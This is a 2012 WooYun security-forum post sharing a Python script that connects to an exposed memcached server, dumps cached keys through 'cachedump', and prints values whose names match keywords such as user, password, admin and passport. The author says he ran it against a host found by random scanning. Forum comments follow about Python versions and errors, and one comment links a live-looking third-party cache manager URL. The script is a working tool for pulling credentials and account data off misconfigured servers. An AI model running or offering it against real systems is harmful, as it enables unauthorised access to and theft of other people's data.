当前位置:WooYun(白帽子技术社区) >> 神器 >> 遍历Memcached且过滤关键信息的小脚本

遍历Memcached且过滤关键信息的小脚本

GaRY | 2012-12-28 18:08

经常碰倒对外开了memcached端口也就是11211的机器.而通常这里面会有一些很有意思的信息.
所以这里随手写了个小脚本.发wooyun存个档。各位用之前请记得easy_install python-memcached或者pip install python-memcached一下。

#!/usr/bin/env python
#coding=utf-8
#Author: wofeiwo#80sec.com
#Just filter sensitive information form a memcache server

import memcache
import re,sys
from pprint import pprint

MAX_NUM   = 100
RE_STRING = "user|account|config|password|passwd|admin|manage|member|passport" # 这里选择你所需要过滤的关键词

def isImportant(word):
    pattern = re.compile(RE_STRING, re.I)
    return pattern.search(word)

def main(args):
    if len(args) != 2:
        print "Usage: %s <memcached_host:port>" % args[0]
        sys.exit(-1)
    elif args[1] in ["-h", "--help", "/?"]:
        print "Usage: %s <memcached_host:port>" % args[0]
        sys.exit(-1)

    mc = memcache.Client([args[1]])

    slabs = {}
    if not mc.get_slabs():
        print "[-] Error: Server not correct or empty items."
        print "[-] Exiting.."
        sys.exit(-2)

    for k,v in mc.get_slabs()[0][1].items():
        slabs[k] = v["number"]

    for k,v in slabs.items():
        if v < MAX_NUM: # 如果数量太多,只提取部分内容进行判断.
            tmp = mc.get_stats("cachedump " + str(k) + ' ' + "0")[0][1]
        else:
            tmp = mc.get_stats("cachedump " + str(k) + ' ' + str(MAX_NUM))[0][1]

        result = {}
        for w in tmp:
            if isImportant(w):
                try:
                    result[w] = mc.get(w)
                except:
                    continue

        if result:
            pprint(result)


if __name__ == "__main__" : main(sys.argv)


使用方法:
2012-12-28_18-07-03.png

分享到:
  1. 1#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2012-12-28 18:20

    不错.... 请问这个站是什么啊?

  2. 2#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2012-12-28 18:21

    thx,收下了。
    顺便问句python哪个版本

  3. 3#
    回复此人 感谢
    GaRY | 2012-12-28 18:31

    @xsser 不知道。随便扫的做个例子。。

  4. 4#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2012-12-28 20:10

    @xsser 字段里不是有wp么

  5. 5#
    回复此人 感谢
    无敌L.t.H (‮……天百一爱恋考高:簿相色白产国) | 2012-12-28 21:09

    http://163.28.49.4/cgi-bin/cachemgr.cgi?host=localhost&port=3128&user_name=&operation=menu&auth=
    万恶的资本主义

  6. 6#
    回复此人 感谢
    请叫我大神 | 2012-12-28 21:36

    还是直接用sock写吧,还要装个lib怪麻烦的:)

  7. 7#
    回复此人 感谢
    tmp | 2012-12-29 02:30

    @蟋蟀哥哥 哥哥啊....我bs你啊.. 你看到print 这不就是摆明是 <= python2.7么..你太扯淡了..

  8. 8#
    回复此人 感谢
    tmp | 2012-12-29 02:32

    @GaRY 好东西.收下了.小我写的东西.可以拿去做python教程

  9. 9#
    回复此人 感谢
    shine (shield) | 2012-12-29 08:03

    WooYun: memcached未作IP限制导致缓存数据可被攻击者控制 yunshu的这个case,只能说现在的厂商都无敌了啊! 代码实现上收藏了!

  10. 10#
    回复此人 感谢
    GaRY | 2012-12-29 13:44

    @请叫我大神 那lib其实也就是一个socket包装脚本。也没啥麻烦的,复制一个py过来就四处带着跑了。

  11. 11#
    回复此人 感谢
    GaRY | 2012-12-29 13:46

    @蟋蟀哥哥 @tmp 用py3的人很多么?

  12. 12#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2012-12-29 14:22

    @tmp 我去。。我还真没看见哪里写了小于2.7,现在也没看见。。
    @GaRY 我本来就是打算认真学下python的,结果遇到版本问题。就没学了。。太纠结

  13. 13#
    回复此人 感谢
    tmp | 2012-12-30 08:37

    @蟋蟀哥哥 哥哥啊。。。python 2.7以下的是用print python3的是用print() 。python3当函数用了
    @GaRY 我觉得用python2.x的人更多点。如果不是啥大的项目。用python啥版本问题都不大

  14. 14#
    回复此人 感谢
    Gavin | 2012-12-30 13:14

    2.7很稳定通用啊,3.x的print()在2.7也能用

  15. 15#
    回复此人 感谢
    open (心佛即佛,心魔即魔.) | 2012-12-30 18:29

    安装了memcache客户端还是AttributeError: 'module' object has no attribute 'Client'。。。。懒得上stackoverflow问了,有大牛知道吗?搜了下,没搜到。。

  16. 16#
    回复此人 感谢
    open (心佛即佛,心魔即魔.) | 2012-12-30 18:32

    Traceback (most recent call last):
      File "memcache.py", line 54, in <module>
        if __name__ == "__main__" : main(sys.argv)
      File "memcache.py", line 25, in main
        mc = memcache.Client([args[1]])
    AttributeError: 'module' object has no attribute 'Client'


    擦,自己pyshell里没问题。。

  17. 17#
    回复此人 感谢
    xlz0iza1 | 2015-06-11 14:26

    pattern = re.compile(RE_STRING, re.I)
        ^
    IndentationError: unexpected indent


    楼主求。

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录